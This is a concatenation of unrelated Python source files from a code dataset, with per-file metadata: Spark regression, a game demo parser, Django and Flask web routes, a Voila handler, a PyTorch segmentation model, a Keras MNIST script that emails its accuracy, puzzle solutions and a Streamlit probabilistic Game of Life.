self._levels[c] = df_helper.get_all_levels(c)\n\n def fit_all(self):\n \"\"\"\n Performs one vs all-other measures regression fit\n :return:\n \"\"\"\n if len(self._measure_columns) <= 1:\n return None\n\n df_regression_result = DFRegressionResult()\n measure_columns = set(self._measure_columns)\n\n for output_column in measure_columns:\n input_columns = list(measure_columns - {output_column})\n regression_result = self.fit(output_column, input_columns)\n if regression_result != None:\n df_regression_result.add_regression_result(regression_result)\n\n return df_regression_result\n\n def fit(self, output_column, input_columns=None):\n if output_column not in self._dataframe_helper.get_numeric_columns():\n raise BIException('Output column: %s is not a measure column' % (output_column,))\n\n if input_columns == None:\n input_columns = list(set(self._dataframe_helper.get_numeric_columns()) - {output_column})\n\n if len(set(input_columns) - set(self._dataframe_helper.get_numeric_columns())) != 0:\n raise BIException('At least one of the input columns %r is not a measure column' % (input_columns,))\n\n # TODO: ensure no duplicates are present in input_columns\n\n regression_result = RegressionResult(output_column, input_columns)\n\n training_df = self._data_frame.rdd.map(lambda row: \\\n (float(row[output_column]),\n DenseVector([float(row[col]) for col in input_columns]))).toDF()\n\n lr = LR(maxIter=LinearRegression.MAX_ITERATIONS, regParam=LinearRegression.REGULARIZATION_PARAM,\n elasticNetParam=1.0, labelCol=LinearRegression.LABEL_COLUMN_NAME,\n featuresCol=LinearRegression.FEATURES_COLUMN_NAME)\n\n lr_model = lr.fit(training_df)\n lr_summary = lr_model.evaluate(training_df)\n\n #regression_result.set_params(intercept=lr_model.intercept, coefficients=lr_model.coefficients,\n # rmse=lr_summary.rootMeanSquaredError, r2=lr_summary.r2,\n # t_values=lr_summary.tValues, p_values=lr_summary.pValues)\n\n # TODO: pass t_values and p_values\n coefficients = [float(i) for i in lr_model.coefficients.values]\n if not any([coeff != 0 for coeff in coefficients]):\n return None\n sample_data_dict = {}\n lr_dimension = {}\n for c in input_columns:\n sample_data_dict[c] = None\n lr_dimension[c] = {'dimension':'', 'levels': [], 'coefficients':[],\n 'dimension2':'', 'levels2': [], 'coefficients2':[]}\n diff = 0\n diff2 = 0\n for dim in self._string_columns:\n # sample_data_dict[col] = self._dataframe_helper.get_sample_data(col, output_column, self._sample_size)\n temp = []\n if len(self._levels[dim])>0 and len(self._levels[dim])<16:\n\n for level in self._levels[dim]:\n sub_df = self._data_frame.select(*[c,output_column]).filter(col(dim)==level)\n train = sub_df.rdd.map(lambda row: (float(row[output_column]),\n DenseVector([float(row[c])]))).toDF()\n sub_lr_model = lr.fit(train)\n temp = temp + [float(i) for i in sub_lr_model.coefficients.values]\n if max(temp)-min(temp) > diff:\n diff = max(temp)-min(temp)\n diff2 = diff\n lr_dimension[c]['dimension2']= lr_dimension[c]['dimension']\n lr_dimension[c]['levels2'] = lr_dimension[c]['levels']\n lr_dimension[c]['coefficients2'] = lr_dimension[c]['coefficients']\n lr_dimension[c]['dimension'] = dim\n X = self._levels[dim]\n Y = temp\n Z = [abs(y) for y in Y]\n lr_dimension[c]['levels'] = [x for (z,y,x) in sorted(zip(Z,Y,X))]\n lr_dimension[c]['coefficients'] = [y for (z,y,x) in sorted(zip(Z,Y,X))]\n elif max(temp)-min(temp) > diff2:\n diff2 = max(temp)-min(temp)\n lr_dimension[c]['dimension2'] = dim\n X = self._levels[dim]\n Y = temp\n Z = [abs(y) for y in Y]\n lr_dimension[c]['levels2'] = [x for (z,y,x) in sorted(zip(Z,Y,X))]\n lr_dimension[c]['coefficients2'] = [y for (z,y,x) in sorted(zip(Z,Y,X))]\n\n regression_result.set_params(intercept=float(lr_model.intercept), coefficients=coefficients,\n rmse=float(lr_summary.rootMeanSquaredError), r2=float(lr_summary.r2),\n sample_data_dict=sample_data_dict, lr_dimension=lr_dimension)\n\n return regression_result\n","sub_path":"bi/algorithms/new_regression.py","file_name":"new_regression.py","file_ext":"py","file_size_in_byte":6255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"352294306","text":"import gzip\nimport struct\n\nfrom sour.protocol.cube_data_stream import CubeDataStream\nfrom sour.protocol.sauerbraten.collect.client_read_stream_protocol import (\n sauerbraten_stream_spec as client_spec,\n)\n\ndef get_demo_data(demo_filename):\n \"Returns a list of ClientSession objects.\"\n\n with gzip.open(demo_filename) as f:\n DEMO_MAGIC, demo_version, protocol_version = struct.unpack(\"16sii\", f.read(24))\n print(DEMO_MAGIC, demo_version, protocol_version)\n\n while True:\n d = f.read(12)\n if len(d) < 12:\n # print \"breaking on read packet header '{}'\".format(d)\n break\n\n millis, channel, length = struct.unpack(\"iii\", d)\n\n d = f.read(length)\n if len(d) < length:\n break\n\n cds = CubeDataStream(d)\n messages = client_spec.read(cds, {}, {})\n\n for message in messages:\n print(millis, message)\n","sub_path":"sour/demo/get_demo_data.py","file_name":"get_demo_data.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"92689683","text":"from django.conf.urls import include, url\nfrom django.urls import path\n\nfrom safe_relay_service.gas_station.views import GasStationView\nfrom safe_relay_service.tokens.views import TokenView\n\nfrom . import views\n\napp_name = \"safe\"\n\ntimestamp_regex = '\\\\d{4}[-]?\\\\d{1,2}[-]?\\\\d{1,2} \\\\d{1,2}:\\\\d{1,2}:\\\\d{1,2}'\n\nurlpatterns = [\n url(r'^about/$', views.AboutView.as_view(), name='about'),\n url(r'^gas-station/$', GasStationView.as_view(), name='gas-station'),\n url(r'^tokens/$', TokenView.as_view(), name='tokens'),\n url(r'^safes/$', views.SafeCreationView.as_view(), name='safes'),\n path('safes//', views.SafeView.as_view(), name='safe'),\n path('safes/lookup//', views.SafeLookupView.as_view(), name='safe-lookup'),\n path('safes//funded/', views.SafeSignalView.as_view(), name='safe-signal'),\n path('safes//transactions/', views.SafeMultisigTxView.as_view(), name='safe-multisig-tx'),\n path('safes//transactions/estimate/', views.SafeMultisigTxEstimateView.as_view(),\n name='safe-multisig-tx-estimate'),\n path('subscriptions///', views.TxListView.as_view(), name='tx-list'),\n path('subscriptions/create/', views.SafeMultisigSubTxView.as_view(), name='safe-multisig-subtx'),\n path('subscribers///', views.SubscribersList.as_view(), name='subscribers-list'),\n path('subscriptions/execute/', views.SafeMultisigSubTxExecute.as_view(), name='safe-multisig-subtx-execute'),\n path('subscriptions/details/', views.SafeMultiSigSubTxDetails.as_view(),\n name='safe-multisig-subtx-details')\n]\n","sub_path":"safe_relay_service/relay/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"477648490","text":"from flask import Flask, render_template, url_for, request, redirect, make_response\nfrom flask_dance.contrib.github import make_github_blueprint, github\nimport random\nimport json\nimport time\n\n\n\napp = Flask(__name__)\n\napp.config[\"SECRET_KEY\"] = \"\"\n\ngithub_blueprint = make_github_blueprint(client_id=\"\", client_secret=\"\")\n\napp.register_blueprint(github_blueprint, url_prefix=\"/github_login\")\n\n\n@app.route(\"/\")\ndef github_login():\n if not github.authorized:\n return redirect(url_for('github.login'))\n else:\n account_info = github.get(\"/user\")\n if account_info.ok:\n account_info_json = account_info_json()\n return f'

Your Github name is {account_info_json[\"login\"]}'\n return '

Request Failed!!!

'\n\n@app.route(\"/data\", methods=[\"GET\", \"POST\"])\ndef data():\n data = [time.time() * 1000, random.random() * 100]\n response = make_response(json.dumps(data))\n response.content_type = 'application/json'\n return response\n\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"529001234","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nfrom math import sqrt\nfrom functools import reduce\nimport matplotlib.pyplot as plt\nfrom basic_formulas import poisson_prob\n\n\nif __name__ == \"__main__\":\n lmd = 3.9\n k = 9\n probabilities = [poisson_prob(lmd, i) for i in range(k + 1)]\n less_k = sum(probabilities[:-1])\n k_and_more = 1 - less_k\n print(\"With lambda = %d\" % lmd)\n print(\"The probability of {} is {} %\".format(k, round(probabilities[k] * 100, 5)))\n print(\"The probability of less than {} is {} %\".format(k, round(less_k * 100, 5)))\n print(\"The probability of {} and more is {} %\".format(k, round(k_and_more * 100, 5)))\n\n","sub_path":"PycharmProjects/SelfDev/probability/poisson.py","file_name":"poisson.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"412302352","text":"#############################################################################\n# Copyright (c) 2018, Voila Contributors #\n# #\n# Distributed under the terms of the BSD 3-Clause License. #\n# #\n# The full license is in the file LICENSE, distributed with this software. #\n#############################################################################\n\nimport os\nimport tornado.web\n\nfrom jupyter_server.base.handlers import JupyterHandler\n\nimport nbformat # noqa: F401\n\nfrom .execute import executenb\nfrom .exporter import VoilaExporter\n\n\nclass VoilaHandler(JupyterHandler):\n\n def initialize(self, **kwargs):\n self.notebook_path = kwargs.pop('notebook_path', []) # should it be []\n self.nbconvert_template_paths = kwargs.pop('nbconvert_template_paths', [])\n self.exporter_config = kwargs.pop('config', None)\n self.voila_configuration = kwargs['voila_configuration']\n\n @tornado.web.authenticated\n @tornado.gen.coroutine\n def get(self, path=None):\n # if the handler got a notebook_path argument, always serve that\n notebook_path = self.notebook_path or path\n\n # generate a list of nbextensions that are enabled for the classical notebook\n # a template can use that to load classical notebook extensions, but does not have to\n notebook_config = self.config_manager.get('notebook')\n # except for the widget extension itself, since voila has its own\n load_extensions = notebook_config.get('load_extensions', {})\n if \"jupyter-js-widgets/extension\" in load_extensions:\n load_extensions[\"jupyter-js-widgets/extension\"] = False\n nbextensions = [name for name, enabled in load_extensions.items() if enabled]\n\n model = self.contents_manager.get(path=notebook_path)\n if 'content' in model:\n notebook = model['content']\n else:\n raise tornado.web.HTTPError(404, 'file not found')\n\n # Fetch kernel name from the notebook metadata\n kernel_name = notebook.metadata.get('kernelspec', {}).get('name', self.kernel_manager.default_kernel_name)\n\n # Launch kernel and execute notebook\n cwd = os.path.dirname(notebook_path)\n kernel_id = yield tornado.gen.maybe_future(self.kernel_manager.start_kernel(kernel_name=kernel_name, path=cwd))\n km = self.kernel_manager.get_kernel(kernel_id)\n result = executenb(notebook, km=km, cwd=cwd)\n\n # render notebook to html\n resources = {\n 'kernel_id': kernel_id,\n 'base_url': self.base_url,\n 'nbextensions': nbextensions,\n 'theme': self.voila_configuration.theme\n }\n\n exporter = VoilaExporter(\n template_path=self.nbconvert_template_paths,\n config=self.exporter_config,\n contents_manager=self.contents_manager # for the image inlining\n )\n\n if self.voila_configuration.strip_sources:\n exporter.exclude_input = True\n exporter.exclude_output_prompt = True\n exporter.exclude_input_prompt = True\n\n # Filtering out empty cells.\n def filter_empty_code_cells(cell):\n return (\n cell.cell_type != 'code' or # keep non-code cells\n (cell.outputs and not exporter.exclude_output) # keep cell if output not excluded and not empty\n or not exporter.exclude_input # keep cell if input not excluded\n )\n result.cells = list(filter(filter_empty_code_cells, result.cells))\n\n html, resources = exporter.from_notebook_node(result, resources=resources)\n\n # Compose reply\n self.set_header('Content-Type', 'text/html')\n self.write(html)\n","sub_path":"voila/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":3935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"323229377","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 23 01:14:58 2019\n\n@author: Ryan\n\"\"\"\nimport math\n\ndef divisors(n):\n factors = 0\n for i in range(1,int(math.ceil(math.sqrt(n)))):\n if n % i == 0:\n factors += 2\n else:\n continue\n \n return factors\n\nx = 1\n\nfor i in range(2,10000000):\n x+=i\n if divisors(x) > 500:\n break\nprint(\"Answer is: \" + str(x))","sub_path":"SolvedProblems/Problem12.py","file_name":"Problem12.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"341840789","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('isb', '0071_auto_20160727_0204'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Stadium',\n fields=[\n ('id', models.AutoField(verbose_name='ID', auto_created=True, serialize=False, primary_key=True)),\n ('site_stadium_id', models.IntegerField()),\n ('stadium_desc', models.CharField(max_length=50)),\n ('state_code', models.CharField(max_length=4)),\n ('city', models.CharField(max_length=30)),\n ('stadium_type', models.CharField(max_length=10)),\n ],\n options={\n 'db_table': 'stadium',\n },\n ),\n migrations.AddField(\n model_name='game',\n name='stadium',\n field=models.ForeignKey(to='isb.Stadium', default=1),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='team',\n name='stadium',\n field=models.ForeignKey(to='isb.Stadium', default=1),\n preserve_default=False,\n ),\n ]\n","sub_path":"isb/migrations/0072_auto_20160727_0214.py","file_name":"0072_auto_20160727_0214.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"550888717","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom keras.datasets import mnist\n\n\n# In[2]:\n\n\ndataset = mnist.load_data('mymnist.db')\n\n\n# In[3]:\n\n\ntrain, test = dataset\n\n\n# In[4]:\n\n\nX_train, y_train = train\nX_test, y_test = test\n\n\n# In[5]:\n\n\nX_train_1d = X_train.reshape(-1, 28*28)\nX_test_1d = X_test.reshape(-1, 28*28)\n\n\n# In[6]:\n\n\nX_train = X_train_1d.astype('float32')\nX_test = X_test_1d.astype('float32')\n\n\n# In[7]:\n\n\nfrom keras.utils.np_utils import to_categorical\n\n\n# In[8]:\n\n\ny_train_cat = to_categorical(y_train)\ny_test_cat = to_categorical(y_test)\n\n\n# In[9]:\n\n\nfrom keras.models import Sequential\n\n\n# In[10]:\n\n\nfrom keras.layers import Dense\n\n\n# In[11]:\n\n\nmodel = Sequential()\n\n\n# In[12]:\n\n\nmodel.add(Dense(units=512,activation='relu', input_dim=28*28))\n\n\n# In[13]:\n\n\nmodel.add(Dense(units=256,activation='relu'))\n\n\n# In[14]:\n\n\nmodel.add(Dense(units=128,activation='relu'))\n\n\n# In[15]:\n\n\nmodel.add(Dense(units=64,activation='relu'))\n\n\n# In[16]:\n\n\nmodel.add(Dense(units=10,activation='softmax')) #softmax for multi-classification\n\n\n# In[17]:\n\n\nmodel.summary()\n\n\n# In[18]:\n\n\nfrom keras.optimizers import Adam\n\n\n# In[19]:\n\n\nmodel.compile(optimizer=Adam(), loss='categorical_crossentropy', metrics=['accuracy'])\n\n\n# In[20]:\n\n\nmodel.fit(X_train, y_train_cat, validation_data=(X_test,y_test_cat), epochs=4)\n\n\n# In[21]:\n\n\naccuracy = model.evaluate(X_test, y_test_cat, verbose=0)\nprint(\"%.2f%%\" % (accuracy[1]*100))\n\n\n# In[22]:\n\n\naccuracy = accuracy[1]*100\n\n\n# In[31]:\n\n\naccuracy = str(accuracy)\n\n\n# In[32]:\n\n\naccuracy\n\n\n# In[34]:\n\n\nimport smtplib\nserver = smtplib.SMTP('smtp.gmail.com',587)\nserver.starttls()\nserver.login(\"nishthasharma672@gmail.com\",\"#yourpassword\")\nmsg = accuracy\nserver.sendmail(\"nishthasharma672@gmail.com\",\"nishthasharma006@gmail.com\",msg)\nserver.quit()\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"pythoncode.py","file_name":"pythoncode.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"100685311","text":"from __future__ import division\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom .mask_softmax import Mask_Softmax\n\nfrom .fcn import FCNHead\nfrom .base import BaseNet\n\n__all__ = ['psaaNet', 'get_psaanet']\n\n\nclass psaaNet(BaseNet):\n def __init__(self, nclass, backbone, aux=True, se_loss=False, norm_layer=nn.BatchNorm2d, **kwargs):\n super(psaaNet, self).__init__(nclass, backbone, aux, se_loss, norm_layer=norm_layer, **kwargs)\n\n self.head = psaaNetHead(2048, nclass, norm_layer, se_loss, jpu=kwargs['jpu'], up_kwargs=self._up_kwargs)\n if aux:\n self.auxlayer = FCNHead(1024, nclass, norm_layer)\n\n def forward(self, x):\n _, _, h, w = x.size()\n _, _, c3, c4 = self.base_forward(x)\n\n x = list(self.head(c4))\n x[0] = F.interpolate(x[0], (h, w), **self._up_kwargs)\n if self.aux:\n auxout = self.auxlayer(c3)\n auxout = F.interpolate(auxout, (h, w), **self._up_kwargs)\n x.append(auxout)\n return tuple(x)\n\n\nclass psaaNetHead(nn.Module):\n def __init__(self, in_channels, out_channels, norm_layer, se_loss, jpu=False, up_kwargs=None,\n atrous_rates=(12, 24, 36)):\n super(psaaNetHead, self).__init__()\n self.se_loss = se_loss\n inter_channels = in_channels // 4\n\n self.aa_psaa = psaa_Module(in_channels, atrous_rates, norm_layer, up_kwargs)\n self.conv52 = nn.Sequential(nn.Conv2d(inter_channels, inter_channels, 1, padding=0, bias=False),\n norm_layer(inter_channels), nn.ReLU(True))\n\n self.conv8 = nn.Sequential(nn.Dropout2d(0.1), nn.Conv2d(inter_channels, out_channels, 1))\n self.gap = nn.AdaptiveAvgPool2d(1)\n self.fc = nn.Sequential(\n nn.Conv2d(inter_channels, inter_channels, 1),\n nn.Sigmoid())\n\n if self.se_loss:\n self.selayer = nn.Linear(inter_channels, out_channels)\n\n def forward(self, x):\n\n feat_sum = self.aa_psaa(x)\n if self.se_loss:\n gap_feat = self.gap(feat_sum)\n gamma = self.fc(gap_feat)\n outputs = [self.conv8(F.relu_(feat_sum + feat_sum * gamma))]\n outputs.append(self.selayer(torch.squeeze(gap_feat)))\n else:\n outputs = [self.conv8(feat_sum)]\n\n return tuple(outputs)\n\n\ndef psaaConv(in_channels, out_channels, atrous_rate, norm_layer):\n block = nn.Sequential(\n nn.Conv2d(in_channels, 512, 1, padding=0,\n dilation=1, bias=False),\n norm_layer(512),\n nn.ReLU(True),\n nn.Conv2d(512, out_channels, 3, padding=atrous_rate,\n dilation=atrous_rate, bias=False),\n norm_layer(out_channels),\n nn.ReLU(True))\n return block\n\nclass psaaPooling(nn.Module):\n def __init__(self, in_channels, out_channels, norm_layer, up_kwargs):\n super(psaaPooling, self).__init__()\n self._up_kwargs = up_kwargs\n self.gap = nn.Sequential(nn.AdaptiveAvgPool2d(1),\n nn.Conv2d(in_channels, out_channels, 1, bias=False),\n norm_layer(out_channels),\n nn.ReLU(True))\n\n self.out_chs = out_channels\n\n def forward(self, x):\n bs, _, h, w = x.size()\n pool = self.gap(x)\n\n # return F.interpolate(pool, (h, w), **self._up_kwargs)\n # return pool.repeat(1,1,h,w)\n return pool.expand(bs, self.out_chs, h, w)\n\n\nclass psaa_Module(nn.Module):\n def __init__(self, in_channels, atrous_rates, norm_layer, up_kwargs):\n super(psaa_Module, self).__init__()\n out_channels = in_channels // 4\n rate1, rate2, rate3 = tuple(atrous_rates)\n self.b0 = nn.Sequential(\n nn.Conv2d(in_channels, out_channels, 1, bias=False),\n norm_layer(out_channels),\n nn.ReLU(True))\n self.b1 = psaaConv(in_channels, out_channels, rate1, norm_layer)\n self.b2 = psaaConv(in_channels, out_channels, rate2, norm_layer)\n self.b3 = psaaConv(in_channels, out_channels, rate3, norm_layer)\n # self.b4 = psaaPooling(in_channels, out_channels, norm_layer, up_kwargs)\n\n # self.project = nn.Sequential(\n # nn.Conv2d(5*out_channels, out_channels, 1, bias=False),\n # norm_layer(out_channels),\n # nn.ReLU(True))\n self.project = nn.Sequential(\n nn.Conv2d(4*out_channels, out_channels, 1, bias=False),\n norm_layer(out_channels),\n nn.ReLU(True))\n\n def forward(self, x):\n feat0 = self.b0(x)\n feat1 = self.b1(x)\n feat2 = self.b2(x)\n feat3 = self.b3(x)\n # feat4 = self.b4(x)\n # out = torch.cat((feat0, feat1, feat2, feat3, feat4), 1)\n\n out = torch.cat((feat0, feat1, feat2, feat3), 1)\n \n return self.project(out)\n\n\ndef get_psaanet(dataset='pascal_voc', backbone='resnet50', pretrained=False,\n root='~/.encoding/models', **kwargs):\n # infer number of classes\n from ..datasets import datasets\n model = psaaNet(datasets[dataset.lower()].NUM_CLASS, backbone=backbone, root=root, **kwargs)\n if pretrained:\n raise NotImplementedError\n\n return model\n\n\n\n","sub_path":"encoding/models/psaa.py","file_name":"psaa.py","file_ext":"py","file_size_in_byte":5233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"390210568","text":"#!/usr/bin/python3\n\"\"\"states route handler\"\"\"\nfrom api.v1.views import app_views\nfrom flask import jsonify, abort, request\nfrom models import storage\nfrom models.state import State\nfrom models.city import City\n\n\ndef check(obj, city_id):\n \"\"\"\n checking if city valid and linked to state in storage\n \"\"\"\n try:\n checker = storage.get(obj, city_id)\n checker.to_dict()\n except Exception:\n abort(404)\n return checker\n\n\ndef get_all(state_id, city_id):\n \"\"\"\n Retrieves the list of all City objects\n from state\n \"\"\"\n if (city_id is not None):\n get_city = check(City, city_id).to_dict()\n return jsonify(get_city)\n my_state = storage.get(State, state_id)\n try:\n all_cities = my_state.cities\n except Exception:\n abort(404)\n cities = []\n for c in all_cities:\n cities.append(c.to_dict())\n return jsonify(cities)\n\n\ndef delete_city(id_city):\n \"\"\"\n deleting a state request\n \"\"\"\n city = check(City, id_city)\n storage.delete(city)\n storage.save()\n response = {}\n return jsonify(response)\n\n\ndef create_city(request, state_id):\n \"\"\"\n Create new state request\n \"\"\"\n check(State, state_id)\n request_json = request.get_json()\n if request_json is None:\n abort(400, 'Not a JSON')\n try:\n name_city = request_json['name']\n except Exception:\n abort(400, \"Missing name\")\n city = City(name=name_city, state_id=state_id)\n storage.new(city)\n storage.save()\n return jsonify(city.to_dict())\n\n\ndef do_update_city(city_id, request):\n \"\"\"\n Updates a City object\n \"\"\"\n get_city = check(City, city_id)\n body_request = request.get_json()\n if (body_request is None):\n abort(400, 'Not a JSON')\n for k, v in body_request.items():\n if (k not in ('id', 'created_at', 'updated_at')):\n setattr(get_city, k, v)\n storage.save()\n return jsonify(get_city.to_dict())\n\n\n@app_views.route('/states//cities/', methods=['GET', 'POST'],\n defaults={'city_id': None}, strict_slashes=False)\n@app_views.route('/cities/', defaults={'state_id': None},\n methods=['GET', 'DELETE', 'PUT'])\ndef cities(state_id, city_id):\n \"\"\"\n Handle cities requests\n \"\"\"\n if (request.method == \"GET\"):\n return get_all(state_id, city_id)\n elif (request.method == \"DELETE\"):\n return delete_city(city_id)\n elif (request.method == \"POST\"):\n return create_city(request, state_id), 201\n elif (request.method == \"PUT\"):\n return do_update_city(city_id, request), 200\n ","sub_path":"api/v1/views/cities.py","file_name":"cities.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"625409073","text":"# -*- coding:utf-8 -*-\nimport sys\n\nclass MinStack(object):\n \"\"\"\n Problem:\n Design a stack that supports push, pop, top, and retrieving the minimum element in constant time.\n 设计一个栈提供,入栈,出栈,获取top元素,在常数时间内找到最小的元素。\n push(x) -- Push element x onto stack.\n 把x入栈\n pop() -- Removes the element on top of the stack.\n 出栈头元素\n top() -- Get the top element.\n 获取栈头元素\n getMin() -- Retrieve the minimum element in the stack.\n 获取最小的栈值\n Example:\n MinStack minStack = new MinStack();\n minStack.push(-2);\n minStack.push(0);\n minStack.push(-3);\n minStack.getMin(); --> Returns -3.\n minStack.pop();\n minStack.top(); --> Returns 0.\n minStack.getMin(); --> Returns -2.\n -----------------------------------------\n Notes:\n\n -----------------------------------------\n Think:\n 1、要常数时间找到最小的元素,那么有两种思路:\n 1-1、在寻找的时候处理,当数组过大的时候会非常耗时。\n python无法通过,会超时\n 1-2、在入栈的时候,进行重新排序,但是这样子就不是栈的特性了\n (一个思路是把数据存储到tuple中,最小值也是)\n\n -----------------------------------------\n Idea:\n 1、正常查找,非常耗时,超过了时间的上限\n 2、在入栈的时候,把最小值也存储在当前位置上,取最小值时,就只要取第\n 二个元素值就可以了。\n 3、一个更巧妙的思想:\n 用另外一个栈存储最小值,pop的时候,当最小栈和原始栈的栈顶的值一致时,\n 则把最小栈的数值也pop出来。\n\n -----------------------------------------\n Code[1]:\n def __init__(self):\n self.stack = []\n\n def push(self, x):\n # 把当前最小值存储到栈中\n if self.stack:\n minvalue = self.stack[-1][1]\n if x < minvalue:\n minvalue = x\n self.stack.append((x, minvalue))\n else:\n self.stack.append((x, x))\n\n def pop(self):\n # 取出数值,会影响最小值\n if self.stack:\n self.stack.pop()\n\n\n def top(self):\n if self.stack:\n return self.stack[-1][0]\n\n\n def getMin(self):\n if self.stack:\n return self.stack[-1][1]\n\n -----------------------\n Runtime:92ms\n Memory:\n Beats:25.77%\n Big(O):n\n Space:\n 优点:很巧妙,把需要的数据存储起来了,这是一个很好的解决问题的技巧。\n 缺点:耗时还是过大\n -----------------------------------------\n Code[2]:\n def __init__(self):\n self.originalstack = [] # 原始栈\n self._minstack = [] # 最小栈\n\n\n def push(self, x):\n if self._minstack == [] or x <= self._minstack[-1]:\n self._minstack.append(x)\n self.originalstack.append(x)\n\n def pop(self):\n if self._minstack[-1] == self.originalstack[-1]:\n self._minstack.pop()\n return self.originalstack.pop()\n\n\n def top(self):\n return self.originalstack[-1]\n\n\n def getMin(self):\n return self._minstack[-1]\n\n -----------------------\n Runtime:60ms\n Memory:\n Beats:38.96%\n Big(O):n\n Space:\n 优点:很巧妙,把最小的数组存储到另外一个栈中了\n 缺点:\n \"\"\"\n def __init__(self):\n \"\"\"\n initialize your data structure here.\n \"\"\"\n self.originalstack = [] # 原始栈\n self._minstack = [] # 最小栈\n\n\n def push(self, x):\n \"\"\"\n :type x: int\n :rtype: void\n \"\"\"\n if self._minstack == [] or x <= self._minstack[-1]:\n self._minstack.append(x)\n self.originalstack.append(x)\n\n def pop(self):\n \"\"\"\n :rtype: void\n \"\"\"\n if self._minstack[-1] == self.originalstack[-1]:\n self._minstack.pop()\n return self.originalstack.pop()\n\n\n def top(self):\n \"\"\"\n :rtype: int\n \"\"\"\n return self.originalstack[-1]\n\n\n def getMin(self):\n \"\"\"\n :rtype: int\n \"\"\"\n return self._minstack[-1]\n\n\n\nif __name__ == '__main__':\n minStack = MinStack()\n print(minStack.push(-2))\n print(minStack.push(0))\n print(minStack.push(-3))\n print(minStack.getMin())\n print(minStack.pop())\n print(minStack.top())\n print(minStack.getMin())\n","sub_path":"code/train/LeetCode/stack/155. Min Stack[Easy].py","file_name":"155. Min Stack[Easy].py","file_ext":"py","file_size_in_byte":4536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"624745247","text":"import streamlit as st\nimport pandas\nimport time\nimport datetime\n\nimport plotly.graph_objects as go\nfrom scipy.sparse import coo_matrix\nimport plotly.express as px\nimport numpy as np\nfrom numpy.random import randint\nimport copy\nimport itertools\n\nfrom firepark.game.life import ProbabilisticGameOfLife\nfrom firepark.game.pattern import Pattern\n\nst.title('Probabilistic Game of Life')\nst.subheader('Rules:')\nst.markdown(\n \"Given that $t$ represents a small probability (0.01), the rules for this game are: \\n\"\n \"- Any live cell with fewer than two live neighbors dies with probability (1−$t$) \\n\"\n \"- Any live cell with two or three live neighbors lives with probability (1−$t$) on to the next generation \\n\"\n \"- Any live cell with more than three live neighbors dies with probability (1−$t$) \\n\"\n \"- Any dead cell with exactly three live neighbors becomes a live cell with probability (1−$t$) otherwise they becomes a live cell with probability $t$ \\n\"\n \"- (Special) Any cells within the radius of x cells of an active cell also have the probability of being alive with probability $t$\"\n )\n\npattern_selection = st.sidebar.radio('Starting Pattern', ('Blinker', 'Boat', 'Beacon', 'Glider'))\nprobability = st.sidebar.slider('Probability (t)', 0.0, 0.5, 0.02)\nradius = st.sidebar.slider('Radius of Influence', 2, 10, 2)\nboard_size = st.sidebar.slider('Board Size', 10, 100, 50)\nnum_iterations = st.sidebar.slider('Iterations', 10, 1000, 1000)\nspeed = st.sidebar.slider('Speed', 0.0, 1.0, 0.1)\n\nboard_center = int(board_size/2)\n\npattern = Pattern(board_center, board_center)\n\npatterns = {'Blinker': pattern.blinker,\n 'Boat': pattern.boat,\n 'Beacon': pattern.beacon,\n 'Glider': pattern.glider}\n\nactive_cells = patterns[pattern_selection]\nn_rows = board_size\nn_cols = board_size\ngame = ProbabilisticGameOfLife(active_cells, n_rows, n_cols, probability, leak_radius=radius)\n\nif st.sidebar.button('Start Simulation'):\n heatmap_location = st.empty()\n alive_prob_location = st.empty()\n bar = st.sidebar.progress(0)\n board = game.get_board()\n board_fig = px.imshow(board, color_continuous_scale='gray', zmin=0, zmax=1)\n heatmap_location.plotly_chart(board_fig)\n iterations = []\n alive_probs = []\n for i in range(num_iterations):\n iterations.append(i)\n alive_probs.append(len(game.active_cells)/(board_size*board_size))\n alive_fig = go.Figure(data=go.Scatter(x=iterations, y=alive_probs))\n alive_fig.update_layout(title='Alive Probability over Time',\n xaxis_title='Iteration',\n yaxis_title='Alive Probability') \n board, is_dead = game.get_next_board()\n board_fig = px.imshow(board, color_continuous_scale='gray', zmin=0, zmax=1)\n heatmap_location.plotly_chart(board_fig)\n alive_prob_location.plotly_chart(alive_fig)\n if is_dead:\n break\n time.sleep(speed)\n bar.progress((i+1)/num_iterations)\n 